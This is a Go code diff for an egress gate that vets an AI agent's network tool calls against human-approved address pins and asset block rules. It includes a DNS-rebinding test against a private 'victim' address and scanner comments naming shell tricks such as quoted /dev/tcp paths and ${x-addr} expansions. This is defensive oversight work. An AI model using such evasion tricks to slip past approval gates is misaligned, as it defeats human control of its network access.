const builtinRulePrefix = "[built-in]"
|
||||||
@@ -813,7 +860,8 @@ func ruleMatches(r compiledRule, toolName string, input []byte) bool {
|
|||||||
// Allow rules stay strictly limited to a single simple command with
|
// Allow rules stay strictly limited to a single simple command with
|
||||||
// exact derived prefix and denylist enforcement. Deny and ask rules
|
// exact derived prefix and denylist enforcement. Deny and ask rules
|
||||||
// walk every call in a compound Bash command, stripping known wrappers
|
// walk every call in a compound Bash command, stripping known wrappers
|
||||||
// and recursing into eval / shell -c payloads.
|
// and recursing into eval / shell -c payloads. One that may match
|
||||||
|
// counts as a match here; Match asks for it instead (ruleMatch).
|
||||||
if r.Action == "allow" {
|
if r.Action == "allow" {
|
||||||
if CheckArgvAllow(r.argv) != nil {
|
if CheckArgvAllow(r.argv) != nil {
|
||||||
return false
|
return false
|
||||||
@@ -979,11 +1027,19 @@ func (i *Interceptor) HandleAsk(ctx context.Context, convID int64, dec Decision,
|
|||||||
|
|
||||||
var ErrAlreadyDecided = errors.New("approval already decided or does not exist; please refresh the list")
|
var ErrAlreadyDecided = errors.New("approval already decided or does not exist; please refresh the list")
|
||||||
|
|
||||||
|
// ErrTargetAddressBlocked reports an approval of a request raised by name whose
|
||||||
|
// name resolved, on approval, to an address an asset block rule refuses. Nothing
|
||||||
|
// is pinned and the request is closed as denied by the system; the error wraps
|
||||||
|
// ErrAlreadyDecided, as a click the system turned into a denial does.
|
||||||
|
var ErrTargetAddressBlocked = errors.New("the approved name resolves to an address an asset block rule refuses")
|
||||||
|
|
||||||
// Decide resolves a pending request. Called by the HTTP decide endpoint.
|
// Decide resolves a pending request. Called by the HTTP decide endpoint.
|
||||||
// approver (subject of the session token) and remoteAddr identify the human
|
// approver (subject of the session token) and remoteAddr identify the human
|
||||||
// behind the decision; they are recorded in the row's audit. On a target
|
// behind the decision; they are recorded in the row's audit. On a target
|
||||||
// request "allowed" also pins the addresses the request displayed, and both
|
// request "allowed" also pins the addresses the request displayed (for a name
|
||||||
// values go to the pin: a human decision is the only thing that creates a pin.
|
// requested without addresses, the addresses it resolves to on approval), and
|
||||||
|
// both values go to the pin: a human decision is the only thing that creates a
|
||||||
|
// pin.
|
||||||
func (i *Interceptor) Decide(pendingID int64, allowed bool, approver, remoteAddr string) error {
|
func (i *Interceptor) Decide(pendingID int64, allowed bool, approver, remoteAddr string) error {
|
||||||
status := "denied"
|
status := "denied"
|
||||||
if allowed {
|
if allowed {
|
||||||
@@ -999,7 +1055,13 @@ func (i *Interceptor) Decide(pendingID int64, allowed bool, approver, remoteAddr
|
|||||||
}
|
}
|
||||||
var resolved bool
|
var resolved bool
|
||||||
if targetKey != "" {
|
if targetKey != "" {
|
||||||
_, resolved, err = i.db.ResolveTargetRequest(pendingID, allowed, approver, remoteAddr)
|
var addrs *db.TargetAddresses
|
||||||
|
if allowed {
|
||||||
|
if addrs, err = i.resolveApprovedName(pendingID); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
}
|
||||||
|
_, resolved, err = i.db.ResolveTargetRequestWith(pendingID, allowed, approver, remoteAddr, addrs)
|
||||||
} else {
|
} else {
|
||||||
resolved, err = i.db.ResolveInterceptBy(pendingID, status, action, reason, "human", approver, remoteAddr)
|
resolved, err = i.db.ResolveInterceptBy(pendingID, status, action, reason, "human", approver, remoteAddr)
|
||||||
}
|
}
|
||||||
@@ -1018,3 +1080,62 @@ func (i *Interceptor) Decide(pendingID int64, allowed bool, approver, remoteAddr
|
|||||||
i.pending.resolve(pendingID, allowed)
|
i.pending.resolve(pendingID, allowed)
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// resolveApprovedName resolves the name of a target request the gate raised by
|
||||||
|
// name only, now that a human approved it, and returns the addresses to pin.
|
||||||
|
// It returns nil for any other request: those pin the addresses they display.
|
||||||
|
// A name that does not resolve is refused like a request without addresses,
|
||||||
|
// and the request stays open.
|
||||||
|
func (i *Interceptor) resolveApprovedName(pendingID int64) (*db.TargetAddresses, error) {
|
||||||
|
detail, err := i.db.GetInterceptDetail(pendingID)
|
||||||
|
if err != nil || detail == nil || detail.Audit == nil || len(detail.Audit.Targets) != 1 {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
t := detail.Audit.Targets[0]
|
||||||
|
if t.Kind != TargetDomain || len(t.ResolvedIPs) != 0 {
|
||||||
|
return nil, nil
|
||||||
|
}
|
||||||
|
res, err := i.resolve.lookup(context.Background(), t.Host, true)
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("%w: %s did not resolve after the approval (%v)", db.ErrTargetPinEmpty, t.Host, err)
|
||||||
|
}
|
||||||
|
// The addresses meet the asset block rules before anything is pinned, as
|
||||||
|
// the gate matches every address it resolves. One blocked address refuses
|
||||||
|
// the whole approval: a pin never holds a blocked address, and a partial
|
||||||
|
// pin would cover a name that still answers it. A block is final in the
|
||||||
|
// gate (it opens no request), so the request is closed as denied by the
|
||||||
|
// system instead of left open for an approval that can never pin.
|
||||||
|
ref, err := detailScope(detail)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
rules, err := i.targets.BlockRules(ref)
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("the asset rules could not be read: %w", err)
|
||||||
|
}
|
||||||
|
ct := &checkedTarget{Target: Target{Kind: t.Kind, Host: t.Host, Port: t.Port}, ips: res.ips}
|
||||||
|
if rule, hit := blockRule(rules, ct); hit {
|
||||||
|
reason := fmt.Sprintf("%s resolved on approval to %s, and an asset rule blocks it, so nothing was pinned. %s",
|
||||||
|
ct.Target, strings.Join(res.ips, ", "), rule.Reason())
|
||||||
|
if _, err := i.settleTargetRequest(pendingID, "denied", reason); err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
return nil, fmt.Errorf("%w: %w: %s", ErrAlreadyDecided, ErrTargetAddressBlocked, reason)
|
||||||
|
}
|
||||||
|
return &db.TargetAddresses{IPs: res.ips, Resolver: i.resolve.name(), ResolvedAt: res.at}, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// detailScope is the scope of a target request row.
|
||||||
|
func detailScope(d *db.InterceptDetail) (db.TargetScopeRef, error) {
|
||||||
|
if d.TaskID != nil {
|
||||||
|
id, err := strconv.ParseInt(*d.TaskID, 10, 64)
|
||||||
|
if err != nil {
|
||||||
|
return db.TargetScopeRef{}, fmt.Errorf("target request %d: task id %q: %w", d.ID, *d.TaskID, err)
|
||||||
|
}
|
||||||
|
return db.TargetScopeRef{TaskID: id}, nil
|
||||||
|
}
|
||||||
|
if d.ConversationID != nil {
|
||||||
|
return db.TargetScopeRef{ConversationID: *d.ConversationID}, nil
|
||||||
|
}
|
||||||
|
return db.TargetScopeRef{}, fmt.Errorf("target request %d names no scope", d.ID)
|
||||||
|
}
|
||||||
|
|||||||
+13
-11
@@ -86,9 +86,12 @@ func (i *Interceptor) baseDialer() func(ctx context.Context, network, addr strin
|
|||||||
// address names, with a fresh lookup. URL rules are not matched: they ran on
|
// address names, with a fresh lookup. URL rules are not matched: they ran on
|
||||||
// the URL at the hook and on each hop in RedirectCheck.
|
// the URL at the hook and on each hop in RedirectCheck.
|
||||||
//
|
//
|
||||||
// A derived exemption, and a pin that is name-only for this connection, dial
|
// The connection is the dialer's own: whatever proxy is set for other traffic
|
||||||
// the address as received. A stored exemption that holds, and a pin that
|
// and whatever state a pin was approved in, no proxy chooses this address, so
|
||||||
// holds every address of the lookup, dial those addresses and nothing else.
|
// no cover is name-only. A derived exemption dials the address as received.
|
||||||
|
// Every other cover (a stored exemption that holds, a pin that holds every
|
||||||
|
// address of the lookup, a grant) dials the addresses the lookup compared and
|
||||||
|
// nothing else; an address outside them fails closed.
|
||||||
func (i *Interceptor) dialTarget(ctx context.Context, scope TargetScope, toolName, network, addr string) (net.Conn, error) {
|
func (i *Interceptor) dialTarget(ctx context.Context, scope TargetScope, toolName, network, addr string) (net.Conn, error) {
|
||||||
input, _ := json.Marshal(map[string]string{"dial": addr})
|
input, _ := json.Marshal(map[string]string{"dial": addr})
|
||||||
ctx = WithCall(ctx, toolName, input)
|
ctx = WithCall(ctx, toolName, input)
|
||||||
@@ -100,7 +103,7 @@ func (i *Interceptor) dialTarget(ctx context.Context, scope TargetScope, toolNam
|
|||||||
blocked := func(res TargetResult) error {
|
blocked := func(res TargetResult) error {
|
||||||
return &dialError{code: res.Code, target: t.String(), reason: res.Reason}
|
return &dialError{code: res.Code, target: t.String(), reason: res.Reason}
|
||||||
}
|
}
|
||||||
c := &targetCheck{i: i, ctx: ctx, scope: scope, tool: toolName, input: input, fresh: true}
|
c := &targetCheck{i: i, ctx: ctx, scope: scope, tool: toolName, input: input, fresh: true, direct: true}
|
||||||
unpinned, res := c.run([]Target{t})
|
unpinned, res := c.run([]Target{t})
|
||||||
if res.Code != "" {
|
if res.Code != "" {
|
||||||
return nil, blocked(res)
|
return nil, blocked(res)
|
||||||
@@ -119,13 +122,12 @@ func (i *Interceptor) dialTarget(ctx context.Context, scope TargetScope, toolNam
|
|||||||
return nil, blocked(res)
|
return nil, blocked(res)
|
||||||
}
|
}
|
||||||
switch ct := c.checked[0]; ct.cover {
|
switch ct := c.checked[0]; ct.cover {
|
||||||
case coverDerived, coverNameOnly:
|
case coverDerived:
|
||||||
return i.baseDialer()(ctx, network, addr)
|
return i.baseDialer()(ctx, network, addr)
|
||||||
default:
|
default:
|
||||||
// coverScope lands here off-proxy: the grant covers the name, but the
|
// coverScope lands here too: the grant covers the name, but the
|
||||||
// connection is still bound to the addresses the decision compared,
|
// connection is still bound to the addresses the decision compared,
|
||||||
// as for an address-pinned cover. Behind a proxy the check records
|
// as for an address-pinned cover.
|
||||||
// the cover as name-only and the proxy chooses the address.
|
|
||||||
return i.dialAddrs(ctx, network, ct.ips, t.Port)
|
return i.dialAddrs(ctx, network, ct.ips, t.Port)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -195,7 +197,7 @@ func notCovered(r TargetRequest, scope TargetScope) string {
|
|||||||
return fmt.Sprintf("%s now resolves to %s, outside pin v%d (%s) of %s",
|
return fmt.Sprintf("%s now resolves to %s, outside pin v%d (%s) of %s",
|
||||||
r.Host, strings.Join(r.ResolvedIPs, ", "), r.Pin.Version, strings.Join(r.Pin.PinnedIPs, ", "), scope.scopeName())
|
r.Host, strings.Join(r.ResolvedIPs, ", "), r.Pin.Version, strings.Join(r.Pin.PinnedIPs, ", "), scope.scopeName())
|
||||||
}
|
}
|
||||||
if r.Kind != TargetDomain {
|
if r.Kind != TargetDomain || len(r.ResolvedIPs) == 0 {
|
||||||
return fmt.Sprintf("%s is not approved for %s", r.Host, scope.scopeName())
|
return fmt.Sprintf("%s is not approved for %s", r.Host, scope.scopeName())
|
||||||
}
|
}
|
||||||
return fmt.Sprintf("%s resolves to %s and is not approved for %s", r.Host, strings.Join(r.ResolvedIPs, ", "), scope.scopeName())
|
return fmt.Sprintf("%s resolves to %s and is not approved for %s", r.Host, strings.Join(r.ResolvedIPs, ", "), scope.scopeName())
|
||||||
@@ -348,7 +350,7 @@ func (i *Interceptor) resolveTargetUDP4(ctx context.Context, scope TargetScope,
|
|||||||
blocked := func(res TargetResult) error {
|
blocked := func(res TargetResult) error {
|
||||||
return &dialError{code: res.Code, target: t.String(), reason: res.Reason}
|
return &dialError{code: res.Code, target: t.String(), reason: res.Reason}
|
||||||
}
|
}
|
||||||
c := &targetCheck{i: i, ctx: ctx, scope: scope, tool: toolName, input: input, fresh: true}
|
c := &targetCheck{i: i, ctx: ctx, scope: scope, tool: toolName, input: input, fresh: true, direct: true}
|
||||||
unpinned, res := c.run([]Target{t})
|
unpinned, res := c.run([]Target{t})
|
||||||
if res.Code != "" {
|
if res.Code != "" {
|
||||||
return nil, blocked(res)
|
return nil, blocked(res)
|
||||||
@@ -366,7 +368,7 @@ func (i *Interceptor) resolveTargetUDP4(ctx context.Context, scope TargetScope,
|
|||||||
return nil, blocked(res)
|
return nil, blocked(res)
|
||||||
}
|
}
|
||||||
switch ct := c.checked[0]; ct.cover {
|
switch ct := c.checked[0]; ct.cover {
|
||||||
case coverDerived, coverNameOnly:
|
case coverDerived:
|
||||||
return resolvePlainUDP4(ctx, addr)
|
return resolvePlainUDP4(ctx, addr)
|
||||||
default:
|
default:
|
||||||
// A grant cover resolves like a pin: the datagram destination comes
|
// A grant cover resolves like a pin: the datagram destination comes
|
||||||
|
|||||||
@@ -174,7 +174,7 @@ func TestPinnedDialScopeUnreadableFailsClosed(t *testing.T) {
|
|||||||
{"nil interceptor", func(g *gateFixture) { g.scope.Interceptor = nil }, "tcp", "app.example.com:443", 0},
|
{"nil interceptor", func(g *gateFixture) { g.scope.Interceptor = nil }, "tcp", "app.example.com:443", 0},
|
||||||
{"task id", func(g *gateFixture) { g.scope.TaskID = "seven" }, "tcp", "app.example.com:443", 0},
|
{"task id", func(g *gateFixture) { g.scope.TaskID = "seven" }, "tcp", "app.example.com:443", 0},
|
||||||
{"rules", func(g *gateFixture) { g.store.fail["BlockRules"] = errors.New("down") }, "tcp", "app.example.com:443", 1},
|
{"rules", func(g *gateFixture) { g.store.fail["BlockRules"] = errors.New("down") }, "tcp", "app.example.com:443", 1},
|
||||||
{"pins", func(g *gateFixture) { g.store.fail["ActivePins"] = errors.New("down") }, "tcp", "app.example.com:443", 1},
|
{"pins", func(g *gateFixture) { g.store.fail["ScopePins"] = errors.New("down") }, "tcp", "app.example.com:443", 1},
|
||||||
{"exemptions", func(g *gateFixture) { g.store.fail["Exemptions"] = errors.New("down") }, "tcp", "app.example.com:443", 1},
|
{"exemptions", func(g *gateFixture) { g.store.fail["Exemptions"] = errors.New("down") }, "tcp", "app.example.com:443", 1},
|
||||||
{"address", nil, "tcp", "app.example.com", 1},
|
{"address", nil, "tcp", "app.example.com", 1},
|
||||||
{"port", nil, "tcp", "app.example.com:0", 1},
|
{"port", nil, "tcp", "app.example.com:0", 1},
|
||||||
@@ -273,41 +273,45 @@ func TestPinnedDialDerivedExemptionDialsByName(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// A pin that is name-only for this connection, by its mark or because the
|
// The pinned dialer opens the connection itself: no proxy chooses its address.
|
||||||
// upstream proxy is set now, is dialled by name: the platform does not bind it.
|
// A pin marked name-only, and an upstream proxy set for other traffic, change
|
||||||
func TestPinnedDialNameOnlyPinDialsByName(t *testing.T) {
|
// nothing: the dial goes to the pinned address it compared, never to the name.
|
||||||
|
// (An answer outside the pin opens a request: target_dial_pg_test.go.)
|
||||||
|
func TestPinnedDialNameOnlyPinStillDialsPinnedAddress(t *testing.T) {
|
||||||
for _, tc := range []struct {
|
for _, tc := range []struct {
|
||||||
name string
|
name string
|
||||||
marked bool
|
marked bool
|
||||||
proxied bool
|
proxied bool
|
||||||
}{{"marked pin", true, false}, {"upstream proxy now", false, true}} {
|
}{{"marked pin", true, false}, {"upstream proxy now", false, true}, {"both", true, true}} {
|
||||||
t.Run(tc.name, func(t *testing.T) {
|
t.Run(tc.name, func(t *testing.T) {
|
||||||
g, rec := dialGate(t)
|
g, rec := dialGate(t)
|
||||||
srv, _, port := pinnedServer(t, "name-only")
|
srv, _, port := pinnedServer(t, "pinned")
|
||||||
|
rec.route("203.0.113.7:"+port, srv.Listener.Addr().String())
|
||||||
rec.route("app.example.com:"+port, srv.Listener.Addr().String())
|
rec.route("app.example.com:"+port, srv.Listener.Addr().String())
|
||||||
g.res.set("app.example.com", "203.0.113.9")
|
g.res.set("app.example.com", "203.0.113.7")
|
||||||
g.pin("app.example.com", atoiPort(t, port), "203.0.113.7").NameOnlyEffective = tc.marked
|
g.pin("app.example.com", atoiPort(t, port), "203.0.113.7").NameOnlyEffective = tc.marked
|
||||||
g.ic.SetUpstreamProxyCheck(func() bool { return tc.proxied })
|
g.ic.SetUpstreamProxyCheck(func() bool { return tc.proxied })
|
||||||
if body, err := get(g.ctx(), pinnedClient(true), "http://app.example.com:"+port+"/"); err != nil || body != "name-only" {
|
g.ic.SetToolProxyCheck(func(string) bool { return tc.proxied })
|
||||||
|
if body, err := get(g.ctx(), pinnedClient(true), "http://app.example.com:"+port+"/"); err != nil || body != "pinned" {
|
||||||
t.Fatalf("fetch: %q, %v", body, err)
|
t.Fatalf("fetch: %q, %v", body, err)
|
||||||
}
|
}
|
||||||
if got := rec.calls(); !slices.Equal(got, []string{"app.example.com:" + port}) {
|
if got := rec.calls(); !slices.Equal(got, []string{"203.0.113.7:" + port}) {
|
||||||
t.Fatalf("dialled %v, want the name", got)
|
t.Fatalf("dialled %v, want the pinned address", got)
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// A grant covers the name, not the connection: off-proxy the dial binds the
|
// A grant covers the name, not the connection: the dial binds the resolved
|
||||||
// resolved addresses the decision compared, like an address-pinned cover;
|
// addresses the decision compared, like an address-pinned cover, also while an
|
||||||
// behind a proxy the cover is name-only and the name goes to the proxy.
|
// upstream proxy is set for other traffic (the dial does not go through it).
|
||||||
func TestPinnedDialScopeGrantDialsResolvedAddress(t *testing.T) {
|
func TestPinnedDialScopeGrantDialsResolvedAddress(t *testing.T) {
|
||||||
for _, tc := range []struct {
|
for _, tc := range []struct {
|
||||||
name string
|
name string
|
||||||
proxied bool
|
proxied bool
|
||||||
want string
|
want string
|
||||||
}{
|
}{
|
||||||
{"direct", false, "127.0.0.1:"}, {"proxied", true, "app.lab.test:"},
|
{"direct", false, "127.0.0.1:"}, {"proxy set for other traffic", true, "127.0.0.1:"},
|
||||||
} {
|
} {
|
||||||
t.Run(tc.name, func(t *testing.T) {
|
t.Run(tc.name, func(t *testing.T) {
|
||||||
g, rec := dialGate(t)
|
g, rec := dialGate(t)
|
||||||
@@ -540,14 +544,18 @@ func TestRedirectContextCarriesScope(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// D-2: a request raised while the upstream proxy is set says the platform does
|
// D-2: a request raised for traffic a proxy carries says the platform does not
|
||||||
// not bind the connection.
|
// bind that connection, and that its own connections stay bound.
|
||||||
func TestNameOnlyReasonSaysConnectionNotBound(t *testing.T) {
|
func TestNameOnlyReasonSaysConnectionNotBound(t *testing.T) {
|
||||||
scope := TargetScope{TaskID: "7"}
|
scope := TargetScope{TaskID: "7"}
|
||||||
r := target("app.example.com", 443, "203.0.113.7")
|
r := target("app.example.com", 443, "203.0.113.7")
|
||||||
const sentence = "This approval is name-only. The platform does not bind the connection to these addresses."
|
for _, sentence := range []string{
|
||||||
if got := targetReason(scope, r, nil, true); !strings.Contains(got, sentence) {
|
"For traffic through a proxy this approval is name-only: the platform does not bind that connection to these addresses.",
|
||||||
t.Fatalf("name-only reason = %q", got)
|
"A connection the platform opens itself, without a proxy, still goes only to the addresses listed.",
|
||||||
|
} {
|
||||||
|
if got := targetReason(scope, r, nil, true); !strings.Contains(got, sentence) {
|
||||||
|
t.Fatalf("name-only reason = %q, want %q", got, sentence)
|
||||||
|
}
|
||||||
}
|
}
|
||||||
if got := targetReason(scope, r, nil, false); strings.Contains(got, "does not bind") {
|
if got := targetReason(scope, r, nil, false); strings.Contains(got, "does not bind") {
|
||||||
t.Fatalf("reason without the upstream proxy = %q", got)
|
t.Fatalf("reason without the upstream proxy = %q", got)
|
||||||
|
|||||||
@@ -0,0 +1,96 @@
|
|||||||
|
package intercept
|
||||||
|
|
||||||
|
import (
|
||||||
|
"context"
|
||||||
|
"slices"
|
||||||
|
"strings"
|
||||||
|
"sync/atomic"
|
||||||
|
"testing"
|
||||||
|
"time"
|
||||||
|
)
|
||||||
|
|
||||||
|
// A connection the pinned dialer opens is its own: no proxy chooses its
|
||||||
|
// address. A pin approved while a proxy carried the call's traffic, a proxy
|
||||||
|
// set now for other traffic, or both, never make that dial name-only: a name
|
||||||
|
// that answers an address outside the pin is not dialled, by name or by
|
||||||
|
// address, and the dial opens an address request that is not name-only.
|
||||||
|
func TestPinnedDialNeverNameOnly(t *testing.T) {
|
||||||
|
for _, tc := range []struct {
|
||||||
|
name string
|
||||||
|
proxyAtApproval, proxyNow bool
|
||||||
|
toolProxyNow bool
|
||||||
|
}{
|
||||||
|
{"approved behind a proxy, proxy still on", true, true, false},
|
||||||
|
{"approved behind a proxy, proxy now off", true, false, false},
|
||||||
|
{"approved direct, proxy now on", false, true, false},
|
||||||
|
{"tool proxy now", false, false, true},
|
||||||
|
} {
|
||||||
|
t.Run(tc.name, func(t *testing.T) {
|
||||||
|
d := targetTestDB(t)
|
||||||
|
ic, res, rec := pgDialGate(t, d)
|
||||||
|
srv, hits, port := pinnedServer(t, "victim")
|
||||||
|
// The base dialer would reach the victim by name, as a system
|
||||||
|
// dialer that resolves the rebound name again would.
|
||||||
|
rec.route("app.example.com:"+port, srv.Listener.Addr().String())
|
||||||
|
rec.route("10.0.0.5:"+port, srv.Listener.Addr().String())
|
||||||
|
var proxied, toolProxied atomic.Bool
|
||||||
|
ic.SetUpstreamProxyCheck(proxied.Load)
|
||||||
|
ic.SetToolProxyCheck(func(string) bool { return toolProxied.Load() })
|
||||||
|
scope := taskScope(t, d, ic, time.Minute)
|
||||||
|
ctx := WithTargetScope(context.Background(), scope)
|
||||||
|
res.set("app.example.com", "203.0.113.7")
|
||||||
|
|
||||||
|
// The approval, through the hook check of a WebFetch call.
|
||||||
|
proxied.Store(tc.proxyAtApproval)
|
||||||
|
input := fetchInput("http://app.example.com:" + port + "/")
|
||||||
|
reqs, out := ic.CheckTargets(ctx, scope, "WebFetch", input)
|
||||||
|
if out.Code != "" || len(reqs) != 1 || reqs[0].NameOnly != tc.proxyAtApproval {
|
||||||
|
t.Fatalf("check: %+v %+v", reqs, out)
|
||||||
|
}
|
||||||
|
call := request(ctx, ic, scope, nil, reqs...)
|
||||||
|
id := oneOpenRow(t, d, scope)
|
||||||
|
if err := ic.Decide(id, true, "ARTEX", "192.0.2.1"); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if r := result(t, call); r.Code != "" {
|
||||||
|
t.Fatalf("approved call: %+v", r)
|
||||||
|
}
|
||||||
|
if p := pins(t, d, scope); len(p) != 1 || p[0].NameOnlyEffective != tc.proxyAtApproval {
|
||||||
|
t.Fatalf("pins = %+v", p)
|
||||||
|
}
|
||||||
|
|
||||||
|
// The name rebinds to a private address.
|
||||||
|
proxied.Store(tc.proxyNow)
|
||||||
|
toolProxied.Store(tc.toolProxyNow)
|
||||||
|
res.set("app.example.com", "10.0.0.5")
|
||||||
|
_, err := PinnedDialer("WebFetch", true)(ctx, "tcp", "app.example.com:"+port)
|
||||||
|
if code, ok := IsTargetBlocked(err); !ok || code != TargetApprovalPending || !strings.Contains(err.Error(), "outside pin v1") {
|
||||||
|
t.Fatalf("rebound dial: %v, want %s", err, TargetApprovalPending)
|
||||||
|
}
|
||||||
|
if got := rec.calls(); len(got) != 0 || hits.Load() != 0 {
|
||||||
|
t.Fatalf("dialled %v, %d hits; want nothing", got, hits.Load())
|
||||||
|
}
|
||||||
|
open := openRows(t, d, scope)
|
||||||
|
if len(open) != 1 {
|
||||||
|
t.Fatalf("%d open rows, want the address request of the dial", len(open))
|
||||||
|
}
|
||||||
|
row, err := d.GetInterceptDetail(open[0])
|
||||||
|
if err != nil || row == nil || row.Audit.Targets[0].NameOnlyEffective || strings.Contains(row.Reason, "name-only") ||
|
||||||
|
!slices.Equal(row.Audit.Targets[0].ResolvedIPs, []string{"10.0.0.5"}) {
|
||||||
|
t.Fatalf("dial request = %+v, %v; want an address request", row, err)
|
||||||
|
}
|
||||||
|
|
||||||
|
// Back on the pinned address, the dial goes to that address only.
|
||||||
|
res.set("app.example.com", "203.0.113.7")
|
||||||
|
rec.route("203.0.113.7:"+port, srv.Listener.Addr().String())
|
||||||
|
conn, err := PinnedDialer("WebFetch", true)(ctx, "tcp", "app.example.com:"+port)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("pinned dial: %v", err)
|
||||||
|
}
|
||||||
|
conn.Close()
|
||||||
|
if got := rec.calls(); !slices.Equal(got, []string{"203.0.113.7:" + port}) {
|
||||||
|
t.Fatalf("dialled %v, want the pinned address", got)
|
||||||
|
}
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -296,6 +296,11 @@ func (l *targetList) scan(s string) {
|
|||||||
if start > 0 && (isWord(b[start-1]) || b[start-1] == '.') {
|
if start > 0 && (isWord(b[start-1]) || b[start-1] == '.') {
|
||||||
return false
|
return false
|
||||||
}
|
}
|
||||||
|
// A port or a prefix length makes the quad a target, not a version
|
||||||
|
// token: a name/version component has neither.
|
||||||
|
if bytes.IndexAny(b[start:end], "/:") < 0 && hasVersionPrefix(b, start) {
|
||||||
|
return false
|
||||||
|
}
|
||||||
// The address alone, when what follows it is not a port or a prefix length.
|
// The address alone, when what follows it is not a port or a prefix length.
|
||||||
addrEnd := start + bytes.IndexAny(b[start:end], "/:")
|
addrEnd := start + bytes.IndexAny(b[start:end], "/:")
|
||||||
if addrEnd < start {
|
if addrEnd < start {
|
||||||
@@ -363,6 +368,57 @@ func isWord(c byte) bool {
|
|||||||
return c >= 'a' && c <= 'z' || c >= 'A' && c <= 'Z' || c >= '0' && c <= '9' || c == '_'
|
return c >= 'a' && c <= 'z' || c >= 'A' && c <= 'Z' || c >= '0' && c <= '9' || c == '_'
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// hasVersionPrefix reports whether a dotted-quad at b[start:] is the version
|
||||||
|
// component of a name/version or name-version token (such as Chrome/156.0.0.0,
|
||||||
|
// Edg/156.0.0.0, or app-1.2.3.4).
|
||||||
|
//
|
||||||
|
// The name before the separator must start at a plain word boundary. Text that
|
||||||
|
// shell syntax or quoting can make the shell read differently is not a version
|
||||||
|
// prefix: ${x-192.0.2.10} and $x-192.0.2.10 are expansions whose value is the
|
||||||
|
// address, and a quoted /dev/tcp path (a quote between /dev/ and tcp) is still
|
||||||
|
// the /dev/tcp path, so the address stays a target there.
|
||||||
|
func hasVersionPrefix(b []byte, start int) bool {
|
||||||
|
if start < 2 {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
sep := b[start-1]
|
||||||
|
if sep != '/' && sep != '-' {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
i := start - 2
|
||||||
|
hasLetter := false
|
||||||
|
for i >= 0 && (isWord(b[i]) || b[i] == '-' || b[i] == '.') {
|
||||||
|
if b[i] >= 'a' && b[i] <= 'z' || b[i] >= 'A' && b[i] <= 'Z' {
|
||||||
|
hasLetter = true
|
||||||
|
}
|
||||||
|
i--
|
||||||
|
}
|
||||||
|
if !hasLetter {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
return versionBoundaryOK(b, i)
|
||||||
|
}
|
||||||
|
|
||||||
|
// versionBoundaryOK reports whether the name/version token starts at a plain
|
||||||
|
// text boundary. A quote is accepted only when the token it opens also starts
|
||||||
|
// at such a boundary, so a quoted /dev/tcp path still resolves to the /dev/tcp
|
||||||
|
// word. Shell punctuation such as !, *, ?, +, @, ~, {, }, $, (, ), [, ], a
|
||||||
|
// backtick or a backslash is not a boundary: the text after it can be expanded
|
||||||
|
// into a different word, so the quad must stay a target.
|
||||||
|
func versionBoundaryOK(b []byte, i int) bool {
|
||||||
|
for i >= 0 && (b[i] == '\'' || b[i] == '"') {
|
||||||
|
i--
|
||||||
|
}
|
||||||
|
if i < 0 {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
switch b[i] {
|
||||||
|
case ' ', '\t', '\n', '\r', '\v', '\f', '=', ',', ';':
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
// validPort returns the port s names, 0 when it is not one.
|
// validPort returns the port s names, 0 when it is not one.
|
||||||
func validPort(s string) int {
|
func validPort(s string) int {
|
||||||
n, err := strconv.Atoi(s)
|
n, err := strconv.Atoi(s)
|
||||||
|
|||||||
+193
-66
@@ -38,9 +38,9 @@ type targetStore interface {
|
|||||||
// BlockRules returns the asset block rules that apply to the scope: the
|
// BlockRules returns the asset block rules that apply to the scope: the
|
||||||
// global ones and, for a task, its own. Allow rules play no role in the gate.
|
// global ones and, for a task, its own. Allow rules play no role in the gate.
|
||||||
BlockRules(scope db.TargetScopeRef) ([]db.AssetInterceptRule, error)
|
BlockRules(scope db.TargetScopeRef) ([]db.AssetInterceptRule, error)
|
||||||
// ActivePins returns the active pins that may cover (host, port) in scope,
|
// ScopePins returns the active pins of the scope. The gate reads them once
|
||||||
// the pin on the exact port first.
|
// per call and picks the candidates of each target with pinsFor.
|
||||||
ActivePins(scope db.TargetScopeRef, host string, port int) ([]*db.TargetPin, error)
|
ScopePins(scope db.TargetScopeRef) ([]*db.TargetPin, error)
|
||||||
// EgressGrants returns the normalized egress entries an operator approved
|
// EgressGrants returns the normalized egress entries an operator approved
|
||||||
// for the scope's task: its approved task_scope rows and the entries
|
// for the scope's task: its approved task_scope rows and the entries
|
||||||
// frozen by approved company grants. Task allow rules play no role in the
|
// frozen by approved company grants. Task allow rules play no role in the
|
||||||
@@ -66,8 +66,27 @@ func (s dbTargetStore) BlockRules(scope db.TargetScopeRef) ([]db.AssetInterceptR
|
|||||||
return append(rules, block...), nil
|
return append(rules, block...), nil
|
||||||
}
|
}
|
||||||
|
|
||||||
func (s dbTargetStore) ActivePins(scope db.TargetScopeRef, host string, port int) ([]*db.TargetPin, error) {
|
func (s dbTargetStore) ScopePins(scope db.TargetScopeRef) ([]*db.TargetPin, error) {
|
||||||
return s.d.ActiveTargetPins(scope, host, port)
|
pins, err := s.d.ListTargetPins(scope)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
